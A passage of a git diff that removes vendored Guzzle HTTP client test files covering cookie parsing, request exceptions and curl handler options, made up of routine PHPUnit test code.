(!isset($_SESSION)) { - $_SESSION = []; - } - } - - /** - * @expectedException \RuntimeException - */ - public function testValidatesCookieSession() - { - $_SESSION[$this->sessionVar] = 'true'; - new SessionCookieJar($this->sessionVar); - } - - public function testLoadsFromSession() - { - $jar = new SessionCookieJar($this->sessionVar); - self::assertSame([], $jar->getIterator()->getArrayCopy()); - unset($_SESSION[$this->sessionVar]); - } - - /** - * @dataProvider providerPersistsToSessionParameters - */ - public function testPersistsToSession($testSaveSessionCookie = false) - { - $jar = new SessionCookieJar($this->sessionVar, $testSaveSessionCookie); - $jar->setCookie(new SetCookie([ - 'Name' => 'foo', - 'Value' => 'bar', - 'Domain' => 'foo.com', - 'Expires' => time() + 1000 - ])); - $jar->setCookie(new SetCookie([ - 'Name' => 'baz', - 'Value' => 'bar', - 'Domain' => 'foo.com', - 'Expires' => time() + 1000 - ])); - $jar->setCookie(new SetCookie([ - 'Name' => 'boo', - 'Value' => 'bar', - 'Domain' => 'foo.com', - ])); - - self::assertCount(3, $jar); - unset($jar); - - // Make sure it wrote to the sessionVar in $_SESSION - $contents = $_SESSION[$this->sessionVar]; - self::assertNotEmpty($contents); - - // Load the cookieJar from the file - $jar = new SessionCookieJar($this->sessionVar); - - if ($testSaveSessionCookie) { - self::assertCount(3, $jar); - } else { - // Weeds out temporary and session cookies - self::assertCount(2, $jar); - } - - unset($jar); - unset($_SESSION[$this->sessionVar]); - } - - public function providerPersistsToSessionParameters() - { - return [ - [false], - [true] - ]; - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Cookie/SetCookieTest.php b/vendor/guzzlehttp/guzzle/tests/Cookie/SetCookieTest.php deleted file mode 100644 index 78b38e7388..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Cookie/SetCookieTest.php +++ /dev/null @@ -1,445 +0,0 @@ -getPath()); - } - - public function testConvertsDateTimeMaxAgeToUnixTimestamp() - { - $cookie = new SetCookie(['Expires' => 'November 20, 1984']); - self::assertInternalType('integer', $cookie->getExpires()); - } - - public function testAddsExpiresBasedOnMaxAge() - { - $t = time(); - $cookie = new SetCookie(['Max-Age' => 100]); - self::assertEquals($t + 100, $cookie->getExpires()); - } - - public function testHoldsValues() - { - $t = time(); - $data = [ - 'Name' => 'foo', - 'Value' => 'baz', - 'Path' => '/bar', - 'Domain' => 'baz.com', - 'Expires' => $t, - 'Max-Age' => 100, - 'Secure' => true, - 'Discard' => true, - 'HttpOnly' => true, - 'foo' => 'baz', - 'bar' => 'bam' - ]; - - $cookie = new SetCookie($data); - self::assertEquals($data, $cookie->toArray()); - - self::assertSame('foo', $cookie->getName()); - self::assertSame('baz', $cookie->getValue()); - self::assertSame('baz.com', $cookie->getDomain()); - self::assertSame('/bar', $cookie->getPath()); - self::assertSame($t, $cookie->getExpires()); - self::assertSame(100, $cookie->getMaxAge()); - self::assertTrue($cookie->getSecure()); - self::assertTrue($cookie->getDiscard()); - self::assertTrue($cookie->getHttpOnly()); - self::assertSame('baz', $cookie->toArray()['foo']); - self::assertSame('bam', $cookie->toArray()['bar']); - - $cookie->setName('a'); - $cookie->setValue('b'); - $cookie->setPath('c'); - $cookie->setDomain('bar.com'); - $cookie->setExpires(10); - $cookie->setMaxAge(200); - $cookie->setSecure(false); - $cookie->setHttpOnly(false); - $cookie->setDiscard(false); - - self::assertSame('a', $cookie->getName()); - self::assertSame('b', $cookie->getValue()); - self::assertSame('c', $cookie->getPath()); - self::assertSame('bar.com', $cookie->getDomain()); - self::assertSame(10, $cookie->getExpires()); - self::assertSame(200, $cookie->getMaxAge()); - self::assertFalse($cookie->getSecure()); - self::assertFalse($cookie->getDiscard()); - self::assertFalse($cookie->getHttpOnly()); - } - - public function testDeterminesIfExpired() - { - $c = new SetCookie(); - $c->setExpires(10); - self::assertTrue($c->isExpired()); - $c->setExpires(time() + 10000); - self::assertFalse($c->isExpired()); - } - - public function testMatchesDomain() - { - $cookie = new SetCookie(); - self::assertTrue($cookie->matchesDomain('baz.com')); - - $cookie->setDomain('baz.com'); - self::assertTrue($cookie->matchesDomain('baz.com')); - self::assertFalse($cookie->matchesDomain('bar.com')); - - $cookie->setDomain('.baz.com'); - self::assertTrue($cookie->matchesDomain('.baz.com')); - self::assertTrue($cookie->matchesDomain('foo.baz.com')); - self::assertFalse($cookie->matchesDomain('baz.bar.com')); - self::assertTrue($cookie->matchesDomain('baz.com')); - - $cookie->setDomain('.127.0.0.1'); - self::assertTrue($cookie->matchesDomain('127.0.0.1')); - - $cookie->setDomain('127.0.0.1'); - self::assertTrue($cookie->matchesDomain('127.0.0.1')); - - $cookie->setDomain('.com.'); - self::assertFalse($cookie->matchesDomain('baz.com')); - - $cookie->setDomain('.local'); - self::assertTrue($cookie->matchesDomain('example.local')); - - $cookie->setDomain('example.com/'); // malformed domain - self::assertFalse($cookie->matchesDomain('example.com')); - } - - public function pathMatchProvider() - { - return [ - ['/foo', '/foo', true], - ['/foo', '/Foo', false], - ['/foo', '/fo', false], - ['/foo', '/foo/bar', true], - ['/foo', '/foo/bar/baz', true], - ['/foo', '/foo/bar//baz', true], - ['/foo', '/foobar', false], - ['/foo/bar', '/foo', false], - ['/foo/bar', '/foobar', false], - ['/foo/bar', '/foo/bar', true], - ['/foo/bar', '/foo/bar/', true], - ['/foo/bar', '/foo/bar/baz', true], - ['/foo/bar/', '/foo/bar', false], - ['/foo/bar/', '/foo/bar/', true], - ['/foo/bar/', '/foo/bar/baz', true], - ]; - } - - /** - * @dataProvider pathMatchProvider - */ - public function testMatchesPath($cookiePath, $requestPath, $isMatch) - { - $cookie = new SetCookie(); - $cookie->setPath($cookiePath); - self::assertSame($isMatch, $cookie->matchesPath($requestPath)); - } - - public function cookieValidateProvider() - { - return [ - ['foo', 'baz', 'bar', true], - ['0', '0', '0', true], - ['foo[bar]', 'baz', 'bar', true], - ['', 'baz', 'bar', 'The cookie name must not be empty'], - ['foo', '', 'bar', 'The cookie value must not be empty'], - ['foo', 'baz', '', 'The cookie domain must not be empty'], - ["foo\r", 'baz', '0', 'Cookie name must not contain invalid characters: ASCII Control characters (0-31;127), space, tab and the following characters: ()<>@,;:\"/?={}'], - ]; - } - - /** - * @dataProvider cookieValidateProvider - */ - public function testValidatesCookies($name, $value, $domain, $result) - { - $cookie = new SetCookie([ - 'Name' => $name, - 'Value' => $value, - 'Domain' => $domain, - ]); - self::assertSame($result, $cookie->validate()); - } - - public function testDoesNotMatchIp() - { - $cookie = new SetCookie(['Domain' => '192.168.16.']); - self::assertFalse($cookie->matchesDomain('192.168.16.121')); - } - - public function testConvertsToString() - { - $t = 1382916008; - $cookie = new SetCookie([ - 'Name' => 'test', - 'Value' => '123', - 'Domain' => 'foo.com', - 'Expires' => $t, - 'Path' => '/abc', - 'HttpOnly' => true, - 'Secure' => true - ]); - self::assertSame( - 'test=123; Domain=foo.com; Path=/abc; Expires=Sun, 27 Oct 2013 23:20:08 GMT; Secure; HttpOnly', - (string) $cookie - ); - } - - /** - * Provides the parsed information from a cookie - * - * @return array - */ - public function cookieParserDataProvider() - { - return [ - [ - 'ASIHTTPRequestTestCookie=This+is+the+value; expires=Sat, 26-Jul-2008 17:00:42 GMT; path=/tests; domain=allseeing-i.com; PHPSESSID=6c951590e7a9359bcedde25cda73e43c; path=/;', - [ - 'Domain' => 'allseeing-i.com', - 'Path' => '/', - 'PHPSESSID' => '6c951590e7a9359bcedde25cda73e43c', - 'Max-Age' => null, - 'Expires' => 'Sat, 26-Jul-2008 17:00:42 GMT', - 'Secure' => null, - 'Discard' => null, - 'Name' => 'ASIHTTPRequestTestCookie', - 'Value' => 'This+is+the+value', - 'HttpOnly' => false - ] - ], - ['', []], - ['foo', []], - ['; foo', []], - [ - 'foo="bar"', - [ - 'Name' => 'foo', - 'Value' => '"bar"', - 'Discard' => null, - 'Domain' => null, - 'Expires' => null, - 'Max-Age' => null, - 'Path' => '/', - 'Secure' => null, - 'HttpOnly' => false - ] - ], - // Test setting a blank value for a cookie - [[ - 'foo=', 'foo =', 'foo =;', 'foo= ;', 'foo =', 'foo= '], - [ - 'Name' => 'foo', - 'Value' => '', - 'Discard' => null, - 'Domain' => null, - 'Expires' => null, - 'Max-Age' => null, - 'Path' => '/', - 'Secure' => null, - 'HttpOnly' => false - ] - ], - // Test setting a value and removing quotes - [[ - 'foo=1', 'foo =1', 'foo =1;', 'foo=1 ;', 'foo =1', 'foo= 1', 'foo = 1 ;'], - [ - 'Name' => 'foo', - 'Value' => '1', - 'Discard' => null, - 'Domain' => null, - 'Expires' => null, - 'Max-Age' => null, - 'Path' => '/', - 'Secure' => null, - 'HttpOnly' => false - ] - ], - // Some of the following tests are based on http://framework.zend.com/svn/framework/standard/trunk/tests/Zend/Http/CookieTest.php - [ - 'justacookie=foo; domain=example.com', - [ - 'Name' => 'justacookie', - 'Value' => 'foo', - 'Domain' => 'example.com', - 'Discard' => null, - 'Expires' => null, - 'Max-Age' => null, - 'Path' => '/', - 'Secure' => null, - 'HttpOnly' => false - ] - ], - [ - 'expires=tomorrow; secure; path=/Space Out/; expires=Tue, 21-Nov-2006 08:33:44 GMT; domain=.example.com', - [ - 'Name' => 'expires', - 'Value' => 'tomorrow', - 'Domain' => '.example.com', - 'Path' => '/Space Out/', - 'Expires' => 'Tue, 21-Nov-2006 08:33:44 GMT', - 'Discard' => null, - 'Secure' => true, - 'Max-Age' => null, - 'HttpOnly' => false - ] - ], - [ - 'domain=unittests; expires=Tue, 21-Nov-2006 08:33:44 GMT; domain=example.com; path=/some value/', - [ - 'Name' => 'domain', - 'Value' => 'unittests', - 'Domain' => 'example.com', - 'Path' => '/some value/', - 'Expires' => 'Tue, 21-Nov-2006 08:33:44 GMT', - 'Secure' => false, - 'Discard' => null, - 'Max-Age' => null, - 'HttpOnly' => false - ] - ], - [ - 'path=indexAction; path=/; domain=.foo.com; expires=Tue, 21-Nov-2006 08:33:44 GMT', - [ - 'Name' => 'path', - 'Value' => 'indexAction', - 'Domain' => '.foo.com', - 'Path' => '/', - 'Expires' => 'Tue, 21-Nov-2006 08:33:44 GMT', - 'Secure' => false, - 'Discard' => null, - 'Max-Age' => null, - 'HttpOnly' => false - ] - ], - [ - 'secure=sha1; secure; SECURE; domain=some.really.deep.domain.com; version=1; Max-Age=86400', - [ - 'Name' => 'secure', - 'Value' => 'sha1', - 'Domain' => 'some.really.deep.domain.com', - 'Path' => '/', - 'Secure' => true, - 'Discard' => null, - 'Expires' => time() + 86400, - 'Max-Age' => 86400, - 'HttpOnly' => false, - 'version' => '1' - ] - ], - [ - 'PHPSESSID=123456789+abcd%2Cef; secure; discard; domain=.localdomain; path=/foo/baz; expires=Tue, 21-Nov-2006 08:33:44 GMT;', - [ - 'Name' => 'PHPSESSID', - 'Value' => '123456789+abcd%2Cef', - 'Domain' => '.localdomain', - 'Path' => '/foo/baz', - 'Expires' => 'Tue, 21-Nov-2006 08:33:44 GMT', - 'Secure' => true, - 'Discard' => true, - 'Max-Age' => null, - 'HttpOnly' => false - ] - ], - ]; - } - - /** - * @dataProvider cookieParserDataProvider - */ - public function testParseCookie($cookie, $parsed) - { - foreach ((array) $cookie as $v) { - $c = SetCookie::fromString($v); - $p = $c->toArray(); - - if (isset($p['Expires'])) { - // Remove expires values from the assertion if they are relatively equal - if (abs($p['Expires'] != strtotime($parsed['Expires'])) < 40) { - unset($p['Expires']); - unset($parsed['Expires']); - } - } - - if (!empty($parsed)) { - foreach ($parsed as $key => $value) { - self::assertEquals($parsed[$key], $p[$key], 'Comparing ' . $key . ' ' . var_export($value, true) . ' : ' . var_export($parsed, true) . ' | ' . var_export($p, true)); - } - foreach ($p as $key => $value) { - self::assertEquals($p[$key], $parsed[$key], 'Comparing ' . $key . ' ' . var_export($value, true) . ' : ' . var_export($parsed, true) . ' | ' . var_export($p, true)); - } - } else { - self::assertSame([ - 'Name' => null, - 'Value' => null, - 'Domain' => null, - 'Path' => '/', - 'Max-Age' => null, - 'Expires' => null, - 'Secure' => false, - 'Discard' => false, - 'HttpOnly' => false, - ], $p); - } - } - } - - /** - * Provides the data for testing isExpired - * - * @return array - */ - public function isExpiredProvider() - { - return [ - [ - 'FOO=bar; expires=Thu, 01 Jan 1970 00:00:00 GMT;', - true, - ], - [ - 'FOO=bar; expires=Thu, 01 Jan 1970 00:00:01 GMT;', - true, - ], - [ - 'FOO=bar; expires=' . date(\DateTime::RFC1123, time()+10) . ';', - false, - ], - [ - 'FOO=bar; expires=' . date(\DateTime::RFC1123, time()-10) . ';', - true, - ], - [ - 'FOO=bar;', - false, - ], - ]; - } - - /** - * @dataProvider isExpiredProvider - */ - public function testIsExpired($cookie, $expired) - { - self::assertSame( - $expired, - SetCookie::fromString($cookie)->isExpired() - ); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Exception/ConnectExceptionTest.php b/vendor/guzzlehttp/guzzle/tests/Exception/ConnectExceptionTest.php deleted file mode 100644 index 1523699681..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Exception/ConnectExceptionTest.php +++ /dev/null @@ -1,25 +0,0 @@ - 'bar']); - self::assertSame($req, $e->getRequest()); - self::assertNull($e->getResponse()); - self::assertFalse($e->hasResponse()); - self::assertSame('foo', $e->getMessage()); - self::assertSame('bar', $e->getHandlerContext()['foo']); - self::assertSame($prev, $e->getPrevious()); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Exception/RequestExceptionTest.php b/vendor/guzzlehttp/guzzle/tests/Exception/RequestExceptionTest.php deleted file mode 100644 index 8bac95486b..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Exception/RequestExceptionTest.php +++ /dev/null @@ -1,210 +0,0 @@ -getRequest()); - self::assertSame($res, $e->getResponse()); - self::assertTrue($e->hasResponse()); - self::assertSame('foo', $e->getMessage()); - } - - public function testCreatesGenerateException() - { - $e = RequestException::create(new Request('GET', '/')); - self::assertSame('Error completing request', $e->getMessage()); - self::assertInstanceOf('GuzzleHttp\Exception\RequestException', $e); - } - - public function testCreatesClientErrorResponseException() - { - $e = RequestException::create(new Request('GET', '/'), new Response(400)); - self::assertContains( - 'GET /', - $e->getMessage() - ); - self::assertContains( - '400 Bad Request', - $e->getMessage() - ); - self::assertInstanceOf('GuzzleHttp\Exception\ClientException', $e); - } - - public function testCreatesServerErrorResponseException() - { - $e = RequestException::create(new Request('GET', '/'), new Response(500)); - self::assertContains( - 'GET /', - $e->getMessage() - ); - self::assertContains( - '500 Internal Server Error', - $e->getMessage() - ); - self::assertInstanceOf('GuzzleHttp\Exception\ServerException', $e); - } - - public function testCreatesGenericErrorResponseException() - { - $e = RequestException::create(new Request('GET', '/'), new Response(300)); - self::assertContains( - 'GET /', - $e->getMessage() - ); - self::assertContains( - '300 ', - $e->getMessage() - ); - self::assertInstanceOf('GuzzleHttp\Exception\RequestException', $e); - } - - /** - * @expectedException InvalidArgumentException - * @expectedExceptionMessage Status code must be an integer value between 1xx and 5xx. - */ - public function testThrowsInvalidArgumentExceptionOnOutOfBoundsResponseCode() - { - throw RequestException::create(new Request('GET', '/'), new Response(600)); - } - - public function dataPrintableResponses() - { - return [ - ['You broke the test!'], - ['

                                zlomený zkouška

                                '], - ['{"tester": "Philépe Gonzalez"}'], - ["\n\tYour friendly test\n"], - ['document.body.write("here comes a test");'], - ["body:before {\n\tcontent: 'test style';\n}"], - ]; - } - - /** - * @dataProvider dataPrintableResponses - */ - public function testCreatesExceptionWithPrintableBodySummary($content) - { - $response = new Response( - 500, - [], - $content - ); - $e = RequestException::create(new Request('GET', '/'), $response); - self::assertContains( - $content, - $e->getMessage() - ); - self::assertInstanceOf('GuzzleHttp\Exception\RequestException', $e); - } - - public function testCreatesExceptionWithTruncatedSummary() - { - $content = str_repeat('+', 121); - $response = new Response(500, [], $content); - $e = RequestException::create(new Request('GET', '/'), $response); - $expected = str_repeat('+', 120) . ' (truncated...)'; - self::assertContains($expected, $e->getMessage()); - } - - public function testExceptionMessageIgnoresEmptyBody() - { - $e = RequestException::create(new Request('GET', '/'), new Response(500)); - self::assertStringEndsWith('response', $e->getMessage()); - } - - public function testCreatesExceptionWithoutPrintableBody() - { - $response = new Response( - 500, - ['Content-Type' => 'image/gif'], - $content = base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7') // 1x1 gif - ); - $e = RequestException::create(new Request('GET', '/'), $response); - self::assertNotContains( - $content, - $e->getMessage() - ); - self::assertInstanceOf('GuzzleHttp\Exception\RequestException', $e); - } - - public function testHasStatusCodeAsExceptionCode() - { - $e = RequestException::create(new Request('GET', '/'), new Response(442)); - self::assertSame(442, $e->getCode()); - } - - public function testWrapsRequestExceptions() - { - $e = new \Exception('foo'); - $r = new Request('GET', 'http://www.oo.com'); - $ex = RequestException::wrapException($r, $e); - self::assertInstanceOf('GuzzleHttp\Exception\RequestException', $ex); - self::assertSame($e, $ex->getPrevious()); - } - - public function testDoesNotWrapExistingRequestExceptions() - { - $r = new Request('GET', 'http://www.oo.com'); - $e = new RequestException('foo', $r); - $e2 = RequestException::wrapException($r, $e); - self::assertSame($e, $e2); - } - - public function testCanProvideHandlerContext() - { - $r = new Request('GET', 'http://www.oo.com'); - $e = new RequestException('foo', $r, null, null, ['bar' => 'baz']); - self::assertSame(['bar' => 'baz'], $e->getHandlerContext()); - } - - public function testObfuscateUrlWithUsername() - { - $r = new Request('GET', 'http://username@www.oo.com'); - $e = RequestException::create($r, new Response(500)); - self::assertContains('http://username@www.oo.com', $e->getMessage()); - } - - public function testObfuscateUrlWithUsernameAndPassword() - { - $r = new Request('GET', 'http://user:password@www.oo.com'); - $e = RequestException::create($r, new Response(500)); - self::assertContains('http://user:***@www.oo.com', $e->getMessage()); - } - - public function testGetResponseBodySummaryOfNonReadableStream() - { - self::assertNull(RequestException::getResponseBodySummary(new Response(500, [], new ReadSeekOnlyStream()))); - } -} - -final class ReadSeekOnlyStream extends Stream -{ - public function __construct() - { - parent::__construct(fopen('php://memory', 'wb')); - } - - public function isSeekable() - { - return true; - } - - public function isReadable() - { - return false; - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Exception/SeekExceptionTest.php b/vendor/guzzlehttp/guzzle/tests/Exception/SeekExceptionTest.php deleted file mode 100644 index fa98380190..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Exception/SeekExceptionTest.php +++ /dev/null @@ -1,17 +0,0 @@ -getStream()); - self::assertContains('10', $e->getMessage()); - } -} diff --git a/vendor/guzzlehttp/guzzle/tests/Handler/CurlFactoryTest.php b/vendor/guzzlehttp/guzzle/tests/Handler/CurlFactoryTest.php deleted file mode 100644 index 5a4ad868b1..0000000000 --- a/vendor/guzzlehttp/guzzle/tests/Handler/CurlFactoryTest.php +++ /dev/null @@ -1,770 +0,0 @@ - 'Bar', - 'Baz' => 'bam', - 'Content-Length' => 2, - ], 'hi') - ]); - $stream = Psr7\stream_for(); - $request = new Psr7\Request('PUT', Server::$url, [ - 'Hi' => ' 123', - 'Content-Length' => '7' - ], 'testing'); - $f = new Handler\CurlFactory(3); - $result = $f->create($request, ['sink' => $stream]); - self::assertInstanceOf(EasyHandle::class, $result); - self::assertInternalType('resource', $result->handle); - self::assertInternalType('array', $result->headers); - self::assertSame($stream, $result->sink); - curl_close($result->handle); - self::assertSame('PUT', $_SERVER['_curl'][CURLOPT_CUSTOMREQUEST]); - self::assertSame( - 'http://127.0.0.1:8126/', - $_SERVER['_curl'][CURLOPT_URL] - ); - // Sends via post fields when the request is small enough - self::assertSame('testing', $_SERVER['_curl'][CURLOPT_POSTFIELDS]); - self::assertEquals(0, $_SERVER['_curl'][CURLOPT_RETURNTRANSFER]); - self::assertEquals(0, $_SERVER['_curl'][CURLOPT_HEADER]); - self::assertSame(150, $_SERVER['_curl'][CURLOPT_CONNECTTIMEOUT]); - self::assertInstanceOf('Closure', $_SERVER['_curl'][CURLOPT_HEADERFUNCTION]); - if (defined('CURLOPT_PROTOCOLS')) { - self::assertSame( - CURLPROTO_HTTP | CURLPROTO_HTTPS, - $_SERVER['_curl'][CURLOPT_PROTOCOLS] - ); - } - self::assertContains('Expect:', $_SERVER['_curl'][CURLOPT_HTTPHEADER]); - self::assertContains('Accept:', $_SERVER['_curl'][CURLOPT_HTTPHEADER]); - self::assertContains('Content-Type:', $_SERVER['_curl'][CURLOPT_HTTPHEADER]); - self::assertContains('Hi: 123', $_SERVER['_curl'][CURLOPT_HTTPHEADER]); - self::assertContains('Host: 127.0.0.1:8126', $_SERVER['_curl'][CURLOPT_HTTPHEADER]); - } - - public function testSendsHeadRequests() - { - Server::flush(); - Server::enqueue([new Psr7\Response()]); - $a = new Handler\CurlMultiHandler(); - $response = $a(new Psr7\Request('HEAD', Server::$url), []); - $response->wait(); - self::assertEquals(true, $_SERVER['_curl'][CURLOPT_NOBODY]); - $checks = [CURLOPT_WRITEFUNCTION, CURLOPT_READFUNCTION, CURLOPT_INFILE]; - foreach ($checks as $check) { - self::assertArrayNotHasKey($check, $_SERVER['_curl']); - } - self::assertEquals('HEAD', Server::received()[0]->getMethod()); - } - - public function testCanAddCustomCurlOptions() - { - Server::flush(); - Server::enqueue([new Psr7\Response()]); - $a = new Handler\CurlMultiHandler(); - $req = new Psr7\Request('GET', Server::$url); - $a($req, ['curl' => [CURLOPT_LOW_SPEED_LIMIT => 10]]); - self::assertEquals(10, $_SERVER['_curl'][CURLOPT_LOW_SPEED_LIMIT]); - } - - public function testCanChangeCurlOptions() - { - Server::flush(); - Server::enqueue([new Psr7\Response()]); - $a = new Handler\CurlMultiHandler(); - $req = new Psr7\Request('GET', Server::$url); - $a($req, ['curl' => [CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0]]); - self::assertEquals(CURL_HTTP_VERSION_1_0, $_SERVER['_curl'][CURLOPT_HTTP_VERSION]); - } - - /** - * @expectedException \InvalidArgumentException - * @expectedExceptionMessage SSL CA bundle not found: /does/not/exist - */ - public function testValidatesVerify() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['verify' => '/does/not/exist']); - } - - public function testCanSetVerifyToFile() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', 'http://foo.com'), ['verify' => __FILE__]); - self::assertEquals(__FILE__, $_SERVER['_curl'][CURLOPT_CAINFO]); - self::assertEquals(2, $_SERVER['_curl'][CURLOPT_SSL_VERIFYHOST]); - self::assertEquals(true, $_SERVER['_curl'][CURLOPT_SSL_VERIFYPEER]); - } - - public function testCanSetVerifyToDir() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', 'http://foo.com'), ['verify' => __DIR__]); - self::assertEquals(__DIR__, $_SERVER['_curl'][CURLOPT_CAPATH]); - self::assertEquals(2, $_SERVER['_curl'][CURLOPT_SSL_VERIFYHOST]); - self::assertEquals(true, $_SERVER['_curl'][CURLOPT_SSL_VERIFYPEER]); - } - - public function testAddsVerifyAsTrue() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['verify' => true]); - self::assertEquals(2, $_SERVER['_curl'][CURLOPT_SSL_VERIFYHOST]); - self::assertEquals(true, $_SERVER['_curl'][CURLOPT_SSL_VERIFYPEER]); - self::assertArrayNotHasKey(CURLOPT_CAINFO, $_SERVER['_curl']); - } - - public function testCanDisableVerify() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['verify' => false]); - self::assertEquals(0, $_SERVER['_curl'][CURLOPT_SSL_VERIFYHOST]); - self::assertEquals(false, $_SERVER['_curl'][CURLOPT_SSL_VERIFYPEER]); - } - - public function testAddsProxy() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['proxy' => 'http://bar.com']); - self::assertEquals('http://bar.com', $_SERVER['_curl'][CURLOPT_PROXY]); - } - - public function testAddsViaScheme() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), [ - 'proxy' => ['http' => 'http://bar.com', 'https' => 'https://t'], - ]); - self::assertEquals('http://bar.com', $_SERVER['_curl'][CURLOPT_PROXY]); - $this->checkNoProxyForHost('http://test.test.com', ['test.test.com'], false); - $this->checkNoProxyForHost('http://test.test.com', ['.test.com'], false); - $this->checkNoProxyForHost('http://test.test.com', ['*.test.com'], true); - $this->checkNoProxyForHost('http://test.test.com', ['*'], false); - $this->checkNoProxyForHost('http://127.0.0.1', ['127.0.0.*'], true); - } - - private function checkNoProxyForHost($url, $noProxy, $assertUseProxy) - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', $url), [ - 'proxy' => [ - 'http' => 'http://bar.com', - 'https' => 'https://t', - 'no' => $noProxy - ], - ]); - if ($assertUseProxy) { - self::assertArrayHasKey(CURLOPT_PROXY, $_SERVER['_curl']); - } else { - self::assertArrayNotHasKey(CURLOPT_PROXY, $_SERVER['_curl']); - } - } - - - /** - * @expectedException \InvalidArgumentException - * @expectedExceptionMessage SSL private key not found: /does/not/exist - */ - public function testValidatesSslKey() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['ssl_key' => '/does/not/exist']); - } - - public function testAddsSslKey() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['ssl_key' => __FILE__]); - self::assertEquals(__FILE__, $_SERVER['_curl'][CURLOPT_SSLKEY]); - } - - public function testAddsSslKeyWithPassword() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['ssl_key' => [__FILE__, 'test']]); - self::assertEquals(__FILE__, $_SERVER['_curl'][CURLOPT_SSLKEY]); - self::assertEquals('test', $_SERVER['_curl'][CURLOPT_SSLKEYPASSWD]); - } - - public function testAddsSslKeyWhenUsingArraySyntaxButNoPassword() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['ssl_key' => [__FILE__]]); - - self::assertEquals(__FILE__, $_SERVER['_curl'][CURLOPT_SSLKEY]); - } - - /** - * @expectedException \InvalidArgumentException - * @expectedExceptionMessage SSL certificate not found: /does/not/exist - */ - public function testValidatesCert() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['cert' => '/does/not/exist']); - } - - public function testAddsCert() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['cert' => __FILE__]); - self::assertEquals(__FILE__, $_SERVER['_curl'][CURLOPT_SSLCERT]); - } - - public function testAddsCertWithPassword() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['cert' => [__FILE__, 'test']]); - self::assertEquals(__FILE__, $_SERVER['_curl'][CURLOPT_SSLCERT]); - self::assertEquals('test', $_SERVER['_curl'][CURLOPT_SSLCERTPASSWD]); - } - - /** - * @expectedException \InvalidArgumentException - * @expectedExceptionMessage progress client option must be callable - */ - public function testValidatesProgress() - { - $f = new Handler\CurlFactory(3); - $f->create(new Psr7\Request('GET', Server::$url), ['progress' => 'foo']); - } - - public function testEmitsDebugInfoToStream() - { - $res = fopen('php://memory', 'r+'); - Server::flush(); - Server::enqueue([new Psr7\Response()]); - $a = new Handler\CurlMultiHandler(); - $response = $a(new Psr7\Request('HEAD', Server::$url), ['debug' => $res]); - $response->wait(); - rewind($res); - $output = str_replace("\r", '', stream_get_contents($res)); - self::assertContains("> HEAD / HTTP/1.1", $output); - self::assertContains("< HTTP/1.1 200", $output); - fclose($res); - } - - public function testEmitsProgressToFunction() - { - Server::flush(); - Server::enqueue([new Psr7\Response()]); - $a = new Handler\CurlMultiHandler(); - $called = []; - $request = new Psr7\Request('HEAD', Server::$url); - $response = $a($request, [ - 'progress' => function () use (&$called) { - $called[] = func_get_args(); - }, - ]); - $response->wait(); - self::assertNotEmpty($called); - foreach ($called as $call) { - self::assertCount(4, $call); - } - } - - private function addDecodeResponse($withEncoding = true) - { - $content = gzencode('test'); - $headers = ['Content-Length' => strlen($content)]; - if ($withEncoding) { - $headers['Content-Encoding'] = 'gzip'; - } - $response = new Psr7\Response(200, $headers, $content); - Server::flush(); - Server::enqueue([$response]); - return $content; - } - - public function testDecodesGzippedResponses() - { - $this->addDecodeResponse(); - $handler = new Handler\CurlMultiHandler(); - $request = new Psr7\Request('GET', Server::$url); - $response = $handler($request, ['decode_content' => true]); - $response = $response->wait(); - self::assertEquals('test', (string) $response->getBody()); - self::assertEquals('', $_SERVER['_curl'][CURLOPT_ENCODING]); - $sent = Server::received()[0]; - self::assertFalse($sent->hasHeader('Accept-Encoding')); - } - - public function testReportsOriginalSizeAndContentEncodingAfterDecoding() - { - $this->addDecodeResponse(); - $handler = new Handler\CurlMultiHandler(); - $request = new Psr7\Request('GET', Server::$url); - $response = $handler($request, ['decode_content' => true]); - $response = $response->wait(); - self::assertSame( - 'gzip', - $response->getHeaderLine('x-encoded-content-encoding') - ); - self::assertSame( - strlen(gzencode('test')), - (int) $response->getHeaderLine('x-encoded-content-length') - ); - } - - public function testDecodesGzippedResponsesWithHeader() - { - $this->addDecodeResponse(); - $handler = new Handler\CurlMultiHandler(); - $request = new Psr7\Request('GET', Server::$url, ['Accept-Encoding' => 'gzip']); - $response = $handler($request, ['decode_content' => true]); - $response = $response->wait(); - self::assertEquals('gzip', $_SERVER['_curl'][CURLOPT_ENCODING]); - $sent = Server::received()[0]; - self::assertEquals('gzip', $sent->getHeaderLine('Accept-Encoding')); - self::assertEquals('test', (string) $response->getBody()); - self::assertFalse($response->hasHeader('content-encoding')); - self::assertTrue( - !$response->hasHeader('content-length') || - $response->getHeaderLine('content-length') == $response->getBody()->getSize() - ); - } - - public function testDoesNotForceDecode() - { - $content = $this->addDecodeResponse(); - $handler = new Handler\CurlMultiHandler(); - $request = new 